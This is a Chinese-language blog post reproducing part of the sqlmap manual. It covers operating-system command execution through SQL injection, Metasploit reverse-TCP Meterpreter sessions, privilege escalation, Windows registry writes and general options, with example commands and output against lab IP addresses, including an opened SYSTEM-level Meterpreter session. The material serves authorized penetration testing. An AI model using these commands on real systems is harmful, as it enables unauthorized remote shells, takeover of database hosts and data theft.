• 安全测试===sqlmap(叁)转载


    十五、操作系统控制

    1.执行任意操作系统命令

    参数:--os-cmd和--os-shell

    若数据库管理系统是MySQL、PostgreSQL或微软的SQL Server且当前用户有相关权限Sqlmap就能利用SQL注入执行任意的操作系统命令。

    当数据库管理系统是MySQL或PostgreSQL时,Sqlmap会通过前面介绍过的文件上传功能上传一个包含用户自定义函数sys_exec()和sys_eval()的二进制共享库文件,然后创建这两个用户自定义函数,通过这两个函数之一来执行用户指定的命令。选择哪个函数取决于用户是否想要显示命令执行的标准输出。

    当数据库管理系统是微软的SQL Server时,Sqlmap通过存储过程xp_cmdshell来执行任意命令。 若xp_cmdshell被禁用(SQL Server >= 2005时默认禁用)Sqlmap会启用它; 若xp_cmdshell不存在,Sqlmap会创建它。

    当用户想要看到命令执行的标准输出时,Sqlmap使用可列举的注入技术(盲注、带内和基于错误的注入),而当用户不想看到命令执行的标准输出时,堆查询注入技术将被用于执行命令。

    下例的目标是PostgreSQL:

      python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd id -v 1

    部分输出如下所示:

    web application technology: PHP 5.2.6, Apache 2.2.9
    back-end DBMS: PostgreSQL
    [hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
    [hh:mm:12] [INFO] the back-end DBMS operating system is Linux
    [hh:mm:12] [INFO] testing if current user is DBA
    [hh:mm:12] [INFO] detecting back-end DBMS version from its banner
    [hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
    [hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
    [hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
    [hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
    do you want to retrieve the command standard output? [Y/n/a] y
    command standard output:
    'uid=104(postgres) gid=106(postgres) groups=106(postgres)'
    [hh:mm:19] [INFO] cleaning up the database management system
    do you want to remove UDF 'sys_eval'? [Y/n] y
    do you want to remove UDF 'sys_exec'? [Y/n] y
    [hh:mm:23] [INFO] database management system cleanup finished
    [hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can only be deleted manually

    使用参数“--os-shell”可以模拟一个可以执行任意命令的shell,和“--sql-shell”一样这个shell也可以用Tab键补全,支持历史记录。

    当堆查询不被支持(如PHP或ASP+Mysql)且数据库管理系统是MySQL时,仍然可以通过SELECT的从句INTO OUTFILE在Web所在主机的可写目录创建一个Web后门,通过这个Web后门来执行命令。Sqlmap支持这一技术并要求用户提供一些用逗号分割的可能是可写目录的路径。Sqlmap支持以下这些服务器端脚本语言:

    • ASP
    • ASP.NET
    • JSP
    • PHP

    2.带外TCP连接:Meterpreter及相关

    参数:--os-pwn、--os-smbrelay、--os-bof、--priv-esc、--msf-path和--tmp-path

    若数据库管理系统是MySQL、PostgreSQL或微软的SQL Server且当前用户有相关权限Sqlmap就有可能在攻击者的主机和数据库所在主机之间建立带外TCP连接。根据用户的选择,此连接可以是交互式命令shell,Meterpreter会话或图形用户界面(VNC)会话。

    Sqlmap要靠Metasploit生成shellcode,在数据库所在主机执行shellcode有以下四种技术:

    • 数据库通过Sqlmap创建的用户自定义函数sys_bineval()在内存中执行Metasploit的shellcode。支持MySQL和PostgreSQL。参数“--os-pwn”。
    • 通过Sqlmap自己的用户自定义函数(MySQL和PostgreSQL中的sys_exec(),微软SQL Server中的xp_cmdshell())上传并执行Metasploit的“stand-alone payload stager”。参数:“--os-pwn”。
    • 利用远程代码执行漏洞MS08-068。攻击者的机器要用Metasploit的smb_relay监听来自目标机器的连接。要求在Linux/Unix上以root权限运行Sqlmap且目标DBMS在Windows上以管理员权限运行。参数:“--os-smbrelay”。
    • 在微软SQL Server 2000和2005中可通过存储过程sp_replwritetovarbin的堆缓冲区溢出漏洞(MS09-004)在内存中执行Metasploit的shellcode。Sqlmap有自己的数据执行保护绕过技术可以成功利用漏洞,但需要Metasploit生成shellcode以便在成功利用漏洞时执行shellcode。参数:“--os-bof”。

    下面是以MySQL为目标的例子:

    python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit
    
    [...]
    [hh:mm:31] [INFO] the back-end DBMS is MySQL
    web server operating system: Windows 2003
    web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
    back-end DBMS: MySQL 5.0
    [hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
    [hh:mm:31] [INFO] the back-end DBMS operating system is Windows
    how do you want to establish the tunnel?
    [1] TCP: Metasploit Framework (default)
    [2] ICMP: icmpsh - ICMP tunneling
    >
    [hh:mm:32] [INFO] testing if current user is DBA
    [hh:mm:32] [INFO] fetching current user
    what is the back-end database management system architecture?
    [1] 32-bit (default)
    [2] 64-bit
    >
    [hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
    [hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
    [hh:mm:33] [INFO] detecting back-end DBMS version from its banner
    [hh:mm:33] [INFO] retrieving MySQL base directory absolute path
    [hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
    [hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
    how do you want to execute the Metasploit shellcode on the back-end database und
    erlying operating system?
    [1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
    [2] Stand-alone payload stager (file system way)
    >
    [hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
    which connection type do you want to use?
    [1] Reverse TCP: Connect back from the database host to this machine (default)
    [2] Reverse TCP: Try to connect back from the database host to this machine, on
    all ports
    between the specified and 65535
    [3] Bind TCP: Listen on the database host for a connection
    >
    which is the local address? [192.168.136.1]
    which local port number do you want to use? [60641]
    which payload do you want to use?
    [1] Meterpreter (default)
    [2] Shell
    [3] VNC
    >
    [hh:mm:40] [INFO] creation in progress ... done
    [hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait..
    
    =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
    + -- --=[ 674 exploits - 351 auxiliary
    + -- --=[ 217 payloads - 27 encoders - 8 nops
    =[ svn r12272 updated 4 days ago (2011.04.07)
    PAYLOAD => windows/meterpreter/reverse_tcp
    EXITFUNC => thread
    LPORT => 60641
    LHOST => 192.168.136.1
    [*] Started reverse handler on 192.168.136.1:60641
    [*] Starting the payload handler...
    [hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval', please wait..
    [*] Sending stage (749056 bytes) to 192.168.136.129
    [*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11 hh:mm:52 +0100 2011
    meterpreter > Loading extension espia...success.
    meterpreter > Loading extension incognito...success.
    meterpreter > [-] The 'priv' extension has already been loaded.
    meterpreter > Loading extension sniffer...success.
    meterpreter > System Language : en_US
    OS            : Windows .NET Server (Build 3790, Service Pack 2).
    Computer      : W2K3R2
    Architecture  : x86
    Meterpreter   : x86/win32
    meterpreter > Server username: NT AUTHORITYSYSTEM
    meterpreter > ipconfig
    
    MS TCP Loopback interface
    Hardware MAC: 00:00:00:00:00:00
    IP Address : 127.0.0.1
    Netmask    : 255.0.0.0
    
    Intel(R) PRO/1000 MT Network Connection
    Hardware MAC: 00:0c:29:fc:79:39
    IP Address : 192.168.136.129
    Netmask    : 255.255.255.0
    
    meterpreter > exit
    [*] Meterpreter session 1 closed. Reason: User exit

    在Windows中Mysql默认以SYSTEM身份运行,但PostgreSQL无论是在Windows还是在Linux中都以低权限的用户postgres运行。SQL Server 2000默认以SYSTEM身份运行,但SQL Server 2005到2008大多数时间以NETWORK SERVICE身份运行,少数时候以LOCAL SERVICE身份运行。

    使用参数“--priv-esc”可以执行Metasploit的getsystem命令以尝试提升权限。

    十六、Windows注册表操作

    满足以下条件就可以对Windows注册表进行操作:

    • 目标数据库管理系统是运行在Windows上的
    • 目标数据库管理系统是MySQL、PostgreSQL或微软SQL Server
    • 支持堆查询
    • 目标数据库管理系统当前用户有足够的权限

    1.读Windows注册表键值

    参数:--reg-read

    2.写Windows注册表键值

    参数:--reg-add

    3.删除Windows注册表键值

    参数:--reg-del

    4.辅助

    参数:--reg-key、--reg-value、--reg-data和--reg-type

    适当使用上列参数就可以在命令中添加或修改一个Windows注册表键值而不用在Sqlmap运行时以问答方式提供数据。

    • --reg-key:指定Windows注册表键值的路径
    • --reg-value:指定Windows注册表键值的键
    • --reg-data:指定Windows注册表键值的值
    • --reg-type:指定Windows注册表键值的值的数据类型

    下面是一个例子:

      python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINESOFTWAREsqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

    十七、通用选项

    1.从SQLite文件中载入Sqlmap会话

    参数:-s

    Sqlmap会自动地为每一个目标创建长久保存的会话SQLite文件,该文件统一存储在特定目录(如:~/.sqlmap/output/)中,其中保存着恢复会话所需的所有数据。若用户想要明确地指定SQLite文件(例如想要将多个目标的数据存储到同一个SQLite文件中),可使用此参数。

    2.将HTTP(S)流量记录到日志文件中

    参数:-t

    该参数后跟一个文件路径,用于将HTTP(S)请求和响应以文本格式记录到文件中作为日志。这样的日志在调试时是很有用的。

    3.非交互模式

    参数:--batch

    使用该参数可以让Sqlmap以非交互模式运行,所有要求的输入都会取默认值。

    4.设置字符编码

    参数:--charset

    为正确解码数据,Sqlmap会使用Web服务器提供的信息(如HTTP头部中字符编码的设置),或是使用第三方库chardet来启发式地确定字符编码。

    可以使用参数“--charset”来指定字符编码,如“--charset=GBK”。

    5.从目标URL开始爬取目标站点

    参数:--crawl

    Sqlmap可以从目标URL开始爬取目标站点并收集可能存在漏洞的URL。使用该参数还需要设置爬取深度,深度是相对于开始爬取的目标URL而言的。只有所有新链接都被递归地访问过后才算爬取结束。建议该参数与“--delay”配合使用。

    下例的目标的MySQL:

      python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3

    部分输出如下:

    [xx:xx:53] [INFO] starting crawler
    [xx:xx:53] [INFO] searching for links with depth 1
    [xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
    [xx:xx:53] [INFO] searching for links with depth 2
    [xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
    [xx:xx:00] [INFO] 42/56 links visited (75%)

    参数:--crawl-exclude

    在此参数后跟一个正则表达式可以排除不想爬取的URL。若URL匹配正则,则不被爬取。如用“--crawl-exclude=logout”来排除所有含有字符串“logout”的URL。

    6.设置输出CSV文件中的分隔符

    参数:--csv-del

    当数据被输出到CSV文件(--dump-format=CSV)时,默认以“,”分隔,可以使用此参数指定分隔符。如:“--csv-del=";"”。

    7.数据库管理系统认证凭据

    参数:--dbms-cred

    在某些情况下由于数据库管理系统当前用户权限较低从而导致动作执行失败,此时可以用此参数提供admin用户认证凭据,Sqlmap就会对执行失败的部分特地使用“run as”机制(如:微软SQL Server的OPENROWSET)以admin用户身份重新执行失败的动作。当然,得知道admin用户认证凭据才行。

    8.数据输出格式

    参数:--dump-format

    Sqlmap对列举的数据有三种不同的输出格式:CSV、HTML和SQLITE。默认为CSV格式,每个数据表都被保存到一个文本文件中,一行是一条记录,以逗号分隔(或是用“--csv-del”指定分隔符)。选择HTML格式,所有数据被保存在一个HTML文件中,数据存放在一个个table中。选择SQLITE格式,所有数据被保存在一个SQLITE文件中,SQLITE中表名和结构会和原表相同。

    9.估计完成时间

    参数:--eta

    该参数用于显示估计的完成时间。下例是目标为Oracle的布尔型盲注:

      python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta

    部分输出如下:

    [hh:mm:01] [INFO] the back-end DBMS is Oracle
    [hh:mm:01] [INFO] fetching banner
    [hh:mm:01] [INFO] retrieving the length of query output
    [hh:mm:01] [INFO] retrieved: 64
    17% [========>                                           ] 11/64
    
    Then:
    
    100% [===================================================] 64/64
    [hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod
    
    web application technology: PHP 5.2.6, Apache 2.2.9
    back-end DBMS: Oracle
    banner:
    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

    如你所见,Sqlmap先计算查询输出的长度,然后估计完成时间,最后显示百分比进度条并统计已经接受的数据。

    10.刷新会话文件

    参数:--flush-session

    使用该参数可以刷新会话文件,以避免Sqlmap默认的缓存机制可能造成的一些问题。使用该参数的前提是真正理解会话文件的概念。另外一个可行的方法是手工删除会话文件。

    11.解析和测试表单输入字段

    参数:--forms

    除了用“-r”和“--data”来测试表单数据是否存在注入点外,还可以使用参数“--forms”来测试表单数据是否存在注入点。

    同时使用参数“--forms”和“-u”,Sqlmap会解析目标URL(“-u”指定的那个URL)返回页面中的表单,测试表单是否有注入点,而不对目标URL进行注入测试。

    12.忽略会话文件中的查询结果

    参数:-fresh-queries

    使用此参数用于忽略会话文件中的查询结果重新执行查询。

    13.对返回结果使用HEX函数

    参数:--hex

    非ASCII数据很容易在传输时出错,使用hex函数可以将目标数据库中数据以十六进制返回。

    下例的目标是PostgreSQL:

      python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors

    部分输出如下所示:

    [xx:xx:14] [INFO] fetching banner
    [xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR
    (58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
    [xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'>function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.php</b> on line <b>35</b>'
    [xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by
    GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2

    14.指定输出目录路径

    参数:--output-dir

    Sqlmap默认将会话文件和结果文件保存到某个子目录output中,可以使用此参数指定输出目录,如:“--output-dir=/tmp”。

    15.从响应中解析DBMS的错误信息

    参数:--parse-errors

    若是Web应用被配置成Debug模式则很可能在HTTP响应页面中显示SQL错误信息。这些错误信息对于理解某操作失败的原因是很有用的。例如因为权限不足导致的失败错误信息是类似这样的:“Access denied for user ”。

    下例的目标是微软SQL Server:

      python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors

    部分输出如下所示:

    [xx:xx:17] [INFO] ORDER BY technique seems to be usable. This should reduce the timeneeded to find the right number of query columns. Automatically extending the rangefor current UNION query injection technique test
    [xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
    [Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list.
    <b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
    [xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
    [Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list.
    <b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
    [xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
    [Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list.
    <b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
    [xx:xx:17] [INFO] target URL appears to have 3 columns in query

    16.指定中轴列

    参数:--pivot-column

    有时(如在微软SQL Server、Sybase和SAP MaxDB中)由于缺乏类似机制不可以直接使用偏移m,n的方式列举数据表记录。在这种情况下,Sqlmap通过确定最适合的中轴列(最独特的值)来列举数据,中轴列的值稍后用于检索其他列值。

    如果自动选择失败就需要使用该参数手动指定中轴列,如:“--pivot-column=id”。

    17.保存选项到配置文件中

    参数:--save

    使用该参数可以保存Sqlmap命令行参数到配置文件中,该文件可编辑并且可以使用参数“-c”加载。配置文件是INI格式的。

    18.升级Sqlmap

    参数:--update

    使用此参数可以升级Sqlmap,显然,需要能够连接互联网。万一执行失败,可以在Sqlmap安装目录中执行“git pull”来升级Sqlmap。在Windows中没有git命令可以使用SmartGit之类的git客户端。

    实际上“--update”和“git pull”以同样的方式升级Sqlmap,都是从git仓库中获取最新源代码。

    强烈建议在报告bug前先升级Sqlmap

  • 相关阅读:
    __init__.py文件的作用
    is is not == !=之间的区别
    使用七牛上传头像
    flask的request的用法
    Mac各个文件夹表示的意思
    sqlalchemy的基本的使用
    将Cygwin Emacs设为Windows explorer默认打开程序
    使用Stardict命令行版本sdcv
    坚持使用GNU/Linux
    在Windows上创建同样的Linux操作环境
  • 原文地址:https://www.cnblogs.com/botoo/p/8446145.html
Copyright © 2020-2023  润新知